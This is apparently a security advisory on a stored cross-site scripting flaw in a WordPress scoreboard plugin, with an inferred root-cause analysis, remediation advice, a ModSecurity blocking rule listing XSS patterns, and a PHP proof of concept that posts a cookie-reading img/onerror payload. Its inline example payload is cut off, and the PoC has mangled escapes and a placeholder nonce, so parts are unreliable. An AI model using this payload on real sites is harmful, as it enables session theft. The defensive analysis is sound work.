Atomic Edge analysis of CVE-2026-1891 (metadata-based):
This vulnerability is an authenticated stored cross-site scripting (XSS) flaw in the Simple Football Scoreboard WordPress plugin. The ‘ytmr_fb_scoreboard’ shortcode fails to properly sanitize user-supplied attributes before output. Attackers with Contributor-level access or higher can inject malicious scripts into posts or pages. These scripts execute when users view the compromised content. The CVSS score of 6.4 reflects the network attack vector, low attack complexity, and requirement for low privileges.
Atomic Edge research identifies the root cause as insufficient input sanitization and output escaping on shortcode attributes. The plugin likely uses the WordPress `add_shortcode()` function to register the ‘ytmr_fb_scoreboard’ shortcode. The shortcode handler probably accepts user-controlled attributes via the `$atts` parameter. The handler then directly outputs these attributes without applying proper escaping functions like `esc_attr()` or `esc_html()`. This inference aligns with CWE-79 patterns in WordPress plugins. Without source code, we cannot confirm the exact vulnerable function calls.
Exploitation requires Contributor-level WordPress access. Attackers create or edit a post containing the vulnerable shortcode with malicious attributes. A typical payload would embed JavaScript in an event handler or script tag. For example: `[ytmr_fb_scoreboard team_name=’
‘]`. The attacker publishes the post. When any user views the page, the browser executes the injected script. The attack persists because the payload is stored in the database.
Remediation requires implementing proper output escaping in the shortcode handler. The plugin should use WordPress escaping functions like `esc_attr()` for HTML attributes and `esc_html()` for text content. Input validation should also be added to restrict attribute values to expected formats. The patched version would need to escape all user-controlled data before echoing it within the shortcode’s HTML output.
Successful exploitation allows attackers to perform actions within the victim’s browser context. This can lead to session hijacking, administrative actions via CSRF, content defacement, or redirection to malicious sites. The stored nature amplifies impact because the payload affects all visitors to the compromised page. Contributor-level attackers cannot directly publish posts, but they can submit posts for review, potentially compromising editorial workflows.
Here you will find our ModSecurity compatible rule to protect against this particular CVE.
# Atomic Edge WAF Rule - CVE-2026-1891 (metadata-based)
# This rule blocks attempts to exploit the stored XSS via the 'ytmr_fb_scoreboard' shortcode.
# It matches posts containing the shortcode with dangerous attribute patterns.
SecRule REQUEST_METHOD "@streq POST"
"id:20261891,phase:2,deny,status:403,chain,msg:'CVE-2026-1891: Simple Football Scoreboard Stored XSS via shortcode',severity:'CRITICAL',tag:'CVE-2026-1891',tag:'WordPress',tag:'plugin/simple-football-score-board',tag:'attack/xss'"
SecRule REQUEST_URI "@rx /wp-admin/post.php$"
"chain"
SecRule ARGS_POST:content "@rx \[ytmr_fb_scoreboard[^\]]*\]"
"chain"
SecRule ARGS_POST:content "@rx (<script|<img|onerror|onload|javascript:)"
"t:none,t:urlDecodeUni,t:htmlEntityDecode,t:lowercase"
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-1891 - Simple Football Scoreboard <= 1.0 - Authenticated (Contributor+) Stored Cross-Site Scripting via Shortcode Attributes
<?php
$target_url = 'http://target-site.com';
$username = 'contributor_user';
$password = 'contributor_pass';
// Payload: XSS via shortcode attribute
$shortcode_payload = "[ytmr_fb_scoreboard team_name='<img src=x onerror=alert("XSS: "+document.cookie)>']";
// Initialize cURL session for login
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-login.php');
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query([
'log' => $username,
'pwd' => $password,
'wp-submit' => 'Log In',
'redirect_to' => $target_url . '/wp-admin/',
'testcookie' => 1
]));
curl_setopt($ch, CURLOPT_COOKIEJAR, 'cookies.txt');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
$login_response = curl_exec($ch);
// Check login success by looking for dashboard redirect
if (strpos($login_response, 'wp-admin') === false) {
die('Login failed. Check credentials.');
}
// Create a new post with the malicious shortcode
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-admin/post-new.php');
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query([
'post_title' => 'Football Scoreboard Test',
'content' => $shortcode_payload,
'publish' => 'Submit for Review', // Contributor cannot publish directly
'post_type' => 'post',
'_wpnonce' => 'REPLACE_WITH_ACTUAL_NONCE', // Requires nonce extraction
'post_status' => 'pending'
]));
$post_response = curl_exec($ch);
// Extract post ID from response (simplified)
preg_match('/post=([0-9]+)/', $post_response, $matches);
$post_id = $matches[1] ?? 'unknown';
curl_close($ch);
if ($post_id !== 'unknown') {
echo "PoC successful. Post ID: $post_idn";
echo "Visit: $target_url/?p=$post_id to trigger XSS.n";
} else {
echo "Post creation may have failed. Manual nonce handling required.n";
}
// Note: This PoC assumes the attacker can obtain a valid nonce.
// A full implementation would parse the nonce from the post editor page.
// The vulnerability exists regardless of nonce validation if the plugin lacks capability checks.
?>
